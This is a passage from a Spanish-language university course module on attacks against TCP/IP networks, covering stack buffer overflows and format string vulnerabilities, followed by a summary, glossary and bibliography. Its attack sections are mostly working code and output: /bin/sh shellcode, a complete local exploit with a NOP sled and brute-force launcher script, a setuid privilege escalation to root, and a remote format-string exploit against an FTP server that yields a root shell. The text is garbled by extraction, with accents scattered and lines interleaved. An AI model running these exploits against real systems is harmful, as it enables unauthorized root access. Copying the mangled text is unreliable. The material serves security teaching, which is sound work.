n de o a o o basados en desbordamientos de buffer es el art´culo ımemoria arbitraria (introducida en los datos de la pila a partir del mismo ataque) y ejecutar ”Smashing the Stack for Funun c´ digo malicioso. o and Profit”de Aleph One. Lo ´ podeis encontrar en el numero 49 de la revista ´ digital Phrack ´El exito de este ataque ser´ posible en aquellos programas que utilizan funciones de ma- a (www.phrack.org).nipulaci´ n de buffers que no comprueban los l´mites de las estructuras de los datos como, o ıpor ejemplo, la funci´ n strcpy(), en vez de las que s´ lo hacen como, por ejemplo, la o ıfunci´ n strncpy(). Veamos, a partir del siguiente ejemplo: o [usuario@victima /]$ cat a1.c void f (int a, int b) { char buffer[100]; } void main() { f(1,2); } [usuario@victima /]$ gcc a1.c -o a1 [usuario@victima /]$ ./a1
  • 49. © FUOC • P06/M2107/01769 49 Ataques contra redes TCP/IPcomo quedar´a la situaci´ n de la pila de ejecuci´ n en el momento de realizar la llamada a ı o ola funci´ n f(): o Inicio de la pila parámetro_2=”b”=2 Parámetros de la función parámetro_1=”a”=1 RET Dirección de retorno de la SFP llamada a la función Buffer[100] Variables locales a la función crecimiento de la pilaEn este otro ejemplo, [usuario@victima /]$ cat a2.c void f(int a, int b, int c) { char buf1[5]; char buf2[10]; *(buf1 + 12)+=8; int main() { int x; x = 0; f(1,2,3); x = 1; printf("%dn",x); } [usuario@victima /]$ gcc a2.c -o a2 [usuario@victima /]$ ./a2 0vemos c´ mo tras la llamada a la funci´ n f() durante la ejecuci´ n del programa, el valor de o o oregreso almacenado en la pila de ejecuci´ n es modificado para que una de las instrucciones o(x=1) sea ignorada. La situaci´ n de la pila de ejecuci´ n durante la llamada a la funci´ n f() o o oquedar´a como sigue: ı
  • 50. © FUOC • P06/M2107/01769 50 Ataques contra redes TCP/IP parámetro_3=”c”=3 parámetro_2=”b”=2 Parámetros de la función parámetro_1=”a”=1 RET Dirección de Desbordamiento retorno de la (buf1 + 12) SFP llamada a la función buf1[5] Variables locales a la buf2[10] función crecimiento de la pilaPara poder llevar a cabo el desbordamiento es necesario conocer la arquitectura del sistemaen el que se est´ ejecutando el programa, as´ como su sistema operativo. A partir de a ıesta informaci´ n, ser´ posible conocer, por ejemplo, el sentido de crecimiento de la pila o ade ejecuci´ n (puede ser a direcciones menores de memoria o a direcciones mayores), la o ´ ´definici´ n del puntero de pila (si este hace referencia a la ultima posici´ n ocupada en la o opila o a la primera posici´ n libre), etc. oAsimismo, se requiere conocer tambi´ n en detalle el orden en el que se depositan los edistintos elementos en la pila: el puntero hacia el marco anterior (SFP), la direcci´ n de oretorno (RET), el orden de las variables locales y los par´ metros pasados a la funci´ n, etc. a oCon toda esta informaci´ n, se podr´ introducir un valor en la posici´ n de la direcci´ n de o a o oregreso que modifique el flujo de ejecuci´ n justo en el punto que se desee, es decir, una oposici´ n de memoria en el que se haya almacenado previamente el c´ digo que hay que o o ´ejecutar. Generalmente, este suele ser el c´ digo en ensamblador necesario para abrir una oconsola de sistema (shellcode). parámetro_3=”c”=3 parámetro_2=”b”=2 Parámetros de la función parámetro_1=”a”=1 RET Dirección de Desbordamiento retorno de la (buf1 + 12) SFP llamada a la función Buffer[100]=”xebx0bxd8 … ... … ... … ... … Variables ShellCode … ... … ... … ... … locales a la xdcxdaxff/bin/sh” función crecimiento de la pila
  • 51. © FUOC • P06/M2107/01769 51 Ataques contra redes TCP/IP. El objetivo de un ataque basado en desbordamiento de buffer en sistemas Unix suele ser la ejecuci´ n de una consola de sistema con los permisos asociados al o usuario con el que se est´ ejecutando el servicio atacado. Si este usuario es el a administrador del sistema, esto implica disponer de todos los privilegios sobre los recursos del equipo.Cuando se disponga de toda la informaci´ n necesaria, se utilizar´ un puntero contra la o adirecci´ n de memoria que contiene el valor de la direcci´ n de regreso para modificarlo. o oEl valor introducido apuntar´ a la direcci´ n de la pila en la que se haya almacenado el a oshellcode correspondiente.Dado que la mayor parte de estos ataques suele dejar el c´ digo que hay que ejecutar di- o ´rectamente en la pila, este debe ser c´ digo ensamblador para su correcta ejecuci´ n. Para o oconstruir este shellcode, se puede partir de un c´ digo a m´ s alto nivel con la opci´ n de o a ogeneraci´ n del propio c´ digo ensamblador asociado o extraerlo mediante una utilidad de o odepuraci´ n. oA continuaci´ n presentamos un peque˜ o ejemplo para ver los pasos necesarios para trans- o nformar un c´ digo en lenguaje C que realiza la llamada al sistema, necesaria para abrir una oshell de sistema en un entorno GNU/Linux y su transformaci´ n a c´ digo ensamblador. o o• En primer lugar construimos el c´ digo fuente necesario para realizar la llamada al siste- o ma execve, invocando la ejecuci´ n del binario /bin/sh, y lo compilamos mediante o gcc: [usuario@victima /]$ cat s.c #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); exit(0); }• A continuaci´ n, utilizaremos la herramienta de depuraci´ n gdb para analizar el c´ digo o o o ensamblador asociado al c´ digo que hemos compilado. Mediante este an´ lisis, detec- o a taremos qu´ instrucciones en ensamblador son necesarias para invocar la llamada al e sistema execve, descartando as´ el resto de c´ digo innecesario (dado que el shellco- ı o de que hay que construir deber´a ser de tama˜ o reducido y autosuficiente). ı n
  • 52. © FUOC • P06/M2107/01769 52 Ataques contra redes TCP/IP [usuario@victima /]$ gcc -o s -ggdb -static s.c [usuario@victima /]$ gdb s (gdb) disassemble main Dump of assembler code for function main: 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... 0x800014e <main+30>: call 0x80002bc <__execve> ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... (gdb) disassemble __execve 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop• Para asegurar el correcto funcionamiento de las instrucciones que utilizaremos en el shellcode final, realizamos un nuevo c´ digo en C que ejecute directamente las instruc- o ciones en ensamblador seleccionadas para la elaboraci´ n del shellcode y comprobamos o que tras su ejecuci´ n se obtenga la consola de sistema esperada: o [usuario@victima /]$ cat s.c void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string "/bin/sh" # 8 bytes "); }• ´ Por ultimo, construimos un nuevo programa en C para comprobar el correcto fun- cionamiento del c´ digo ensamblador anterior. En este programa se colocan cada una o de las instrucciones del c´ digo en ensamblador mediante su c´ digo de operaci´ n en o o o hexadecimal (conseguido nuevamente a partir de la herramienta de depuraci´ n gdb). o
  • 53. © FUOC • P06/M2107/01769 53 Ataques contra redes TCP/IP Asignamos estos c´ digos de operaci´ n a una tupla de caracteres llamada shellcode o o y comprobaremos si es posible su ejecuci´ n tras modificar la direcci´ n de retorno a la o o zona de memoria en la que se encuentra depositada esta variable: [usuario@victima /]$ cat test.c char shellcode[] = "xebx1fx5ex89x76x08x31 xc0x88x46x07x89x46x0c" "xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb" "x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } [usuario@victima /]$ gcc -o test test.c [usuario@victima /]$ ./test $ exit [usuario@victima /]$Ejecuci´ n local de un desbordamiento de buffer oLa construcci´ n de una aplicaci´ n que realizar´ un desbordamiento de buffer sobre una o o asegunda aplicaci´ n vulnerable (que presenta, por lo tanto, esta deficiencia de programa- oci´ n) requiere conocimientos m´ s avanzados sobre el c´ digo que hay que atacar. Adem´ s, o a o aser´ necesaria la inyecci´ n del shellcode adecuado (por medio, por ejemplo, de un pa- a oso de par´ metros), junto con la utilizaci´ n de referencias relativas para alcanzar el c´ digo a o oinyectado.. El uso de referencias relativas es necesario puesto que la aplicaci´ n que est´ rea- o a lizando el ataque (el exploit) desconoce la posici´ n absoluta en memoria o, lo que o es lo mismo, el estado de la pila en el momento de la ejecuci´ n del programa o vulnerable.Asimismo es necesario realizar un tratamiento en el contenido del c´ digo inyectado en omemoria, para evitar la existencia de elementos NULL que podr´an concluir la lectura del ıc´ digo ensamblador asociado. Si esta situaci´ n se produce, la ejecuci´ n del programa o o ovulnerable finalizar´ en su totalidad. aTambi´ n ser´ necesario simular una condici´ n de finalizaci´ n correcta, tanto si realmente e a o oes as´, como si ocurre alg´ n problema en las llamadas al sistema, de forma que en ning´ n ı u ucaso finalice la ejecuci´ n de la aplicaci´ n vulnerable al intentar realizar el ataque. o o
  • 54. © FUOC • P06/M2107/01769 54 Ataques contra redes TCP/IPOtro aspecto que debemos tener en cuenta es la posible variaci´ n de la posici´ n en la pi- o ola del c´ digo inyectado. As´, es posible apuntar a direcciones de memoria no permitidas o ıpara buscar el c´ digo inyectado a la pila de ejecuci´ n. Para evitarlo, ser´a necesario ave- o o ıriguar el tama˜ o del buffer sobre el que el ataque aplicar´ el desbordamiento, as´ como el n a ıdesplazamiento necesario sobre la pila.A continuaci´ n veremos un ejemplo de ejecuci´ n local de un ataque de desbordamiento o ocontra una aplicaci´ n vulnerable: o• En primer lugar, codificamos en lenguaje C una aplicaci´ n vulnerable y la compilamos: o [usuario@victima /]$ cat v.c #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char buffer[512]; setuid(0); strcpy(buffer,argv[1]); } [usuario@victima /]$ gcc -o v v.c• En segundo lugar, codificamos, tambi´ n en lenguaje C, un exploit que realizar´ un e a ataque de desbordamiento de buffer contra el programa anterior y lo compilamos. Para realizar el ataque, este exploit construir´ un shellcode que m´ s adelante se inyectar´ al a a a c´ digo vulnerable. o [usuario@victima /]$ cat exploit.c #include <stdlib.h> char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"; unsigned long get_sp(void){ __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *buff, *ptr;long *addr_ptr, addr; int i, bsize; bsize = atoi(argv[1]); buff = malloc(bsize); addr = get_sp(); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = 0x90; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = 0; printf("%s",buff); } [usuario@victima /]$ gcc -o exploit exploit.c
  • 55. © FUOC • P06/M2107/01769 55 Ataques contra redes TCP/IP Para facilitar la b´ squeda del c´ digo inyectado sobre la aplicaci´ n vulnerable, delan- u o o te del shellcode del exploit se utilizar´ una cadena llena de c´ digos NOP*, para a o ´ -* No operation. Este codigo ´ de operacion en ensamblador utilizar parte de la memoria como trampol´n** hacia el c´ digo del shellcode. ı o indica al procesador que no haga nada. Se utiliza unicamente para incrementar ´• Para realizar la inyecci´ n del shellcode generado en el exploit anterior, realizamos o el contador de programa. el siguiente gui´ n de sistema y lo ejecutamos: o ´ -** A la cadena de codigos de ´ operacion NOP que insertamos dentro del [usuario@victima /]$ cat launcher.sh shellcode se la conoce con for i in `seq 500 700`;do el nombre de sledge a=`./e $i`; (trampol´n). ı ./v $a; echo "bsize==$i"; done [usuario@victima /]$ launcher.sh ./launcher.sh: line 3: 6810 Segmentation fault ./v $a bsize ==500 ./launcher.sh: line 3: 6810 Segmentation fault ./v $a bsize ==501 ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ./launcher.sh: line 3: 6810 Segmentation fault ./v $a bsize ==528 sh$ sh$ whoami usuario sh$ exit bsize==529 ^C• Como vemos en la figura anterior, con un tama˜ o de buffer de 528 se consigue realizar n ´ con exito el ataque de desbordamiento de buffer sobre la aplicaci´ n vulnerable. Pero o como este programa vulnerable se est´ ejecutando con privilegios de usuario normal, la a consola de sistema que el ataque consigue ejecutar lo har´ con los mismos privilegios. a Para comprobar el riesgo de seguridad que puede suponer el ejemplo anterior, simu- lamos a continuaci´ n que el programa vulnerable es en realidad una aplicaci´ n que o o pertenece al usuario administrador del sistema y que tiene activado adem´ s el bit de a setuid. Con estas modificaciones, volvemos a ejecutar el gui´ n de sistema anterior, o y comprobamos c´ mo un usuario con privilegios normales puede conseguir realizar o una escalada de privilegios mediante la realizaci´ n del ataque: o [usuario@victima /]$ ls -la v -rwxr-xr-x 1 usuario usuario 13622 Apr 1 09:43 v [root@victima /]$ su [root@victima /]$ chown root v [root@victima /]$ chmod +s v [root@victima /]$ exit [usuario@victima /]$ launcher.sh ./launcher.sh: line 3: 6810 Segmentation fault ./v $a bsize ==500 ./launcher.sh: line 3: 6810 Segmentation fault ./v $a bsize ==501 ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ./launcher.sh: line 3: 6810 Segmentation fault ./v $a bsize ==528 sh$ sh$ whoami root sh$ exit bsize==529 ^C
  • 56. © FUOC • P06/M2107/01769 56 Ataques contra redes TCP/IP1.6.2. Cadenas de formato. Los ataques que explotan deficiencias de programaci´ n mediante cadenas de for- o mato se producen en el momento de imprimir o copiar una cadena de caracteres desde un buffer sin las comprobaciones necesarias.Imaginemos, por ejemplo, que un programador que quiere imprimir el contenido de un buf-fer con la sentencia printf("%s", buffer) lo codifica como printf(buffer)por error.Aunque el resultado funcional es el mismo, el resultado t´ cnico es muy distinto, ya que la esentencia genera un agujero de seguridad en el c´ digo que permitir´ controlar el flujo de o ala ejecuci´ n. oAl indicar directamente a la funci´ n printf() el buffer que hay que imprimir, la sen- otencia lo interpreta como una cadena de formato. As´, la funci´ n tratar´ de encontrar en el ı o acontenido del buffer caracteres de formato especiales, como por ejemplo "%d", "%s","%x". Para cada uno de los caracteres de formato, se extraer´ de la pila de ejecuci´ n un a on´ mero variable de argumentos. u. A causa de este error, un atacante podr´a acceder a valores de la pila de ejecuci´ n ı o que se encuentren por encima de esta cadena de formato. Esta deficiencia le per- mitir´ , por tanto, tener el control necesario para escribir en la memoria del proceso a y alterar el flujo de la ejecuci´ n para llevarlo a un shellcode. oLa sentencia printf() (y similares), aparte de las utilidades propias de la funci´ n para oimprimir n´ meros enteros, cadenas de caracteres y delimitar la longitud de los campos a uimprimir, permite:1) Obtener en cualquier momento el n´ mero de caracteres en la salida. As´, al encontrarse u ıun car´ cter de formato especial como "%n", el n´ mero de caracteres en la salida antes de a uencontrar este campo se almacenar´ en la zona de memoria asociada: a int x = 100, i = 20, valor; printf("%d %n %d", x, &valor, i);
  • 57. © FUOC • P06/M2107/01769 57 Ataques contra redes TCP/IP2) El car´ cter de formato "%n" devolver´ el n´ mero de caracteres que deber´an haberse a a u ıemitido en la salida, y no el n´ mero de los que realmente se van emitir. Aunque al dar uformato a una cadena de caracteres en un buffer de tama˜ o fijo la cadena se hubiese trun- ncado, el valor devuelto por "%n" ser´ el desplazamiento original de la cadena (se haya o ano truncado). Para comprobarlo, podemos ver como en el siguiente ejemplo la variablevalor devuelve 100 en lugar de 20: [usuario@victima /]$ cat a.c int main(){ char buf[20]; int valor, x=0; snprintf(buf, sizeof(buf), "%.100d%n ",x, &valor); printf("%d",valor); } [usuario@victima /]$ gcc a.c -o a [usuario@victima /]$ ./a 100As´ pues, vemos c´ mo mediante la manipulaci´ n correcta de funciones como sprintf() ı o oy printf() se pueden modificar entradas de la pila de ejecuci´ n. Concretamente, se opodr´ modificar la informaci´ n de la pila que indica el n´ mero de bytes se˜ alados por a o u n"%n", en la direcci´ n que se le indique en la funci´ n mediante la cadena de formato (ya o oque este valor se deposita en la pila para que act´ e como el siguiente argumento). uEl valor que hay que escribir se puede manejar como se desee ya que, como hemos visto,con la cadena de formato "%.numerod" se puede a˜ adir valor a los caracteres existentes nrealmente en el buffer antes de "%n".. Al igual que en los ataques realizados mediante desbordamiento de buffer, al poder manipular el contenido de la pila de ejecuci´ n es posible modificar cualquier valor o deseado dentro del espacio de memoria del proceso. Este hecho se puede utilizar para sobreescribir el comando de sistema que se debe ejecutar, el identificador de usuario asociado a un programa, el valor de regreso de una funci´ n para cambiar el o flujo de ejecuci´ n de un proceso a un shellcode, etc. o
  • 58. © FUOC • P06/M2107/01769 58 Ataques contra redes TCP/IPExplotaci´ n remota mediante una cadena de formato oVeremos a continuaci´ n la ejecuci´ n remota de un ataque de explotaci´ n mediante cadenas o o ode formato contra un servidor de ftp real.En este ejemplo, podemos ver c´ mo se cumplen las mismas condiciones que hemos visto oen los casos anteriores, con la diferencia de que ahora se realizar´ sobre una aplicaci´ n que a opresta servicios de forma remota a trav´ s de internet. eIgual que en otros ejemplos, construimos un gui´ n de sistema para realizar la ejecuci´ n o odel exploit de forma continua contra un servidor de ftp que se encuentra en la direcci´ n IP o10.0.0.4: [usuario@victima /]$ cat launcher2.sh for i in `seq 1 500`;do echo "Intent nº: $i"; ./$1 $2; done [usuario@victima /]$ ./launcher.sh exploitFtp 10.0.0.4 Intento nº: 1 200-31 bffff368 1ee bfffd2f0 +bfffceec |0 200 (end of %x %x %x %x +%x |%x) Ret location befor: 0 Ret location : bfffce94 Proctitle addres : 807347b and 134689915 tmp 1 : 0x62626262 tmp 2 : 0x0 tmp 1 : 0x25662e25 tmp 2 : 0x0 ... ... tmp 1 : 0x2e25662e tmp 2 : 0x0 ./launcher2.sh: line 3: 30003 Segmentation fault ... ... ... Intento nº: 23 ---------------- 200-31 bffff368 1ee bfffd2f0 +bfffceec |0 200 (end of %x %x %x %x +%x |%x) Ret location befor: 0 Ret location : bfffce94 Proctitle addres : 807347b and 134689915 tmp 1 : 0x62626262 tmp 2 : 0x0 tmp 1 : 0xbfffce94 --> 24 <-- Ok!!! --> 23 <-- Ok!!! Abriendo una shell... 200-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbÎÿ¿-2-2000- 2000000000000000000000000000000000nan00000000- ... ... 000000000000000000000000000000000000000000000000000 whoami rootComo vemos en la figura anterior, tras realizar veintid´ s intentos, el ataque se produce osatisfactoriamente y el usuario que ejecuta el ataque obtiene una consola de sistema en elequipo remoto con privilegios de usuario administrador.
  • 59. © FUOC • P06/M2107/01769 59 Ataques contra redes TCP/IPResumenEl objetivo de este primer m´ dulo did´ ctico ha sido presentar de forma pr´ ctica algunos o a aejemplos de c´ mo se puede vulnerar la seguridad de la familia de protocolos TCP/IP. oDurante la exposici´ n de cada cap´tulo hemos visto algunos de los ataques existentes contra o ıla seguridad en cada una de las capas de este modelo de red.El origen de muchos de estos ataques como, por ejemplo, la manipulaci´ n de informaci´ n, o ola suplantaci´ n de identidades, etc. ha existido fuera del entorno inform´ tico desde hace o amuchos a˜ os. La soluci´ n de estos problemas no pasa s´ lo por el an´ lisis t´ cnico de los n o o a esistemas involucrados, sino tambi´ n por el de la comprensi´ n de todos aquellos factores e oque afectan al usuario.Aun as´, desde un punto de vista t´ cnico, el riesgo de una mala utilizaci´ n de los protocolos ı e ode cada una de las capas, junto con las deficiencias de programaci´ n de las aplicaciones oexistentes para ofrecer servicios a trav´ s de internet son problemas de seguridad que s´ se e ıpueden solucionar.En los siguientes m´ dulos did´ cticos veremos c´ mo evitar y protegerse de estos ataques o a odesde el punto de vista t´ cnico. Estos m´ dulos est´ n orientados a explicar, de forma e o adid´ ctica, las tareas necesarias para conseguir este objetivo. De forma muy resumida, aestas tareas ayudar´ n a implementar las siguientes necesidades: a• Prevenci´ n y protecci´ n. Mediante la instalaci´ n de sistemas cortafuegos y de meca- o o o nismos criptogr´ ficos para garantizar la privacidad y la integridad de la informaci´ n en a o las comunicaciones, ser´ posible llegar a conseguir un primer nivel de prevenci´ n y de a o protecci´ n contra la mayor parte de los ataques que hemos visto. o• Autenticaci´ n. La autenticaci´ n es posiblemente una de las necesidades m´ s impor- o o a tante, dado que el hecho de conseguir privacidad e integridad no tendr´a ning´ n sentido ı u si no se garantizara la identificaci´ n del destinatario. Mediante la utilizaci´ n de proto- o o colos criptogr´ ficos de autenticaci´ n fuerte ser´ posible garantizar esta necesidad. a o a• Detecci´ n y respuesta. As´ como los elementos anteriores los hemos identificado o ı como b´ sicos e imprescindibles para poder ofrecer un nivel de seguridad m´nimo, es a ı necesaria la utilizaci´ n de mecanismos complementarios para detectar los ataques que o no se hayan podido evitar y tomar las acciones adecuadas para neutralizarlos.
  • 60. © FUOC • P06/M2107/01769 60 Ataques contra redes TCP/IPGlosarioAddress Resolution Protocol (ARP): protocolo de la familia TCP/IP que asocia direcci-ones IP a direcciones MAC.ARP: ver Address Resolution Protocol.Denegaci´ n de servicio (DoS): ataque que hace una apropiaci´ n exclusiva de un recurso o oo servicio con la intenci´ n de evitar cualquier acceso a terceras partes. En ingl´ s, deny of o eservice.Desbordamiento de buffer: posibilidad de corromper la pila de ejecuci´ n para modificar oel valor de retorno de una llamada a funci´ n y provocar la ejecuci´ n de c´ digo arbitrario. o o oDoS: ver Denegaci´ n de servicio. oHuella identificativa: informaci´ n muy precisa que permite identificar un sistema o una ored en concreto. En ingl´ s, fingerprinting. eEsc´ ner de vulnerabilidades: aplicaci´ n que permite comprobar si un sistema es vulne- a orable a un conjunto de deficiencias de seguridad.Exploit: aplicaci´ n, generalmente escrita en C o ensamblador, que fuerza las condicio- ones necesarias para aprovecharse de un error de programaci´ n que permite vulnerar su oseguridad.Exploraci´ n de puertos: t´ cnica utilizada para identificar los servicios que ofrece un o esistema.Explotaci´ n de un servicio: actividad realizada por un atacante para conseguir una esca- olada de privilegios, abusando de alguna deficiencia del servicio o del sistema.Fingerprinting: ver Huella identificativa.Firewall: ver Cortafuegos.Fragmentaci´ n IP: proceso de divisi´ n de un datagrama IP en fragmentos de menor lon- o ogitud.Internet Control Message Protocol (ICMP): protocolo encargado de realizar el controlde flujo de los datagramas IP que circulan por la red.ICMP: ver Internet Control Message Protocol.Internet Protocol (IP): protocolo para la interconexi´ n de redes. o
  • 61. © FUOC • P06/M2107/01769 61 Ataques contra redes TCP/IPIP: ver internet Protocolo.IP flooding: ataque de denegaci´ n de servicio basado en una saturaci´ n de la red mediante o ola generaci´ n masiva de datagramas IP. oMaxim Transfer Unit (MTU): medida m´ xima de un datagrama IP dentro de una red. aMTU: Ver Maxim Transfer Unit.Requests for Comments: conjunto de documentos t´ cnicos y notas organizativas sobre einternet.Reensemblado IP: proceso de reconstrucci´ n de un datagrama IP a partir de sus fragmen- otos.RFC: Ver Requests for Comments.Rootkit: recopilaci´ n de herramientas utilizadas en un ataque de intrusi´ n para garantizar o ola ocultaci´ n de huellas, garantizar futuras conexiones, realizar otros ataques al sistema, oetc.Shellcode: c´ digo ensamblador inyectado en memoria que un exploit tratar´ de ejecutar. o aSniffer: aplicaci´ n que intercepta toda la informaci´ n que pase por la interfaz de red a la o oque est´ asociado. eSYN Flooding: ataque de denegaci´ n de servicio que se basa en no complementar inten- ocionadamente el protocolo de intercambio de TCP.Cortafuegos: elemento de prevenci´ n que realizar´ un control de acceso para proteger o auna red de los equipos del exterior (potencialmente hostiles).Transmission Control Protocol (TCP): protocolo de transporte de la arquitectura de pro-tocolos TCP/IP.TCP: ver Transmission Control Protocol.User Datagram Protocol (UDP): protocolo de transporte de la arquitectura de protocolosTCP/IP.UDP: ver User Datagram Protocol.
  • 62. © FUOC • P06/M2107/01769 62 Ataques contra redes TCP/IPBibliograf´a ı[1] Anonymous (1998). Maximum Security: A Hacker’s Guide to Protecting Your internetSite and Network. Sams.[2] Cheswick, W. R.; Bellovin, S. M.; Rubin, A. D. (2003). Firewalls and InternetSecurity: Repelling the Wily Hacker, 2nd ed. Addison-Wesley Professional Computing.[3] Northcutt, S. (2000). Network Intrusion Detection. An analyst’s handbook. NewRiders.[4] Scambray, J.; McClure, S.; Kurtz, G. (2001). Hacking Exposed: Network securitysecrets and solutions, 2nd ed. Osborne-McGraw Hill.[5] Siles Pel´ ez, R. (2002). An´ lisis de seguridad de la familia de protocolos TCP/IP y a asus servicios asociados. ´[6] Verdejo Alvarez, G. (2003). Seguridad en redes IP. Universitat Aut` noma de Barce- olona.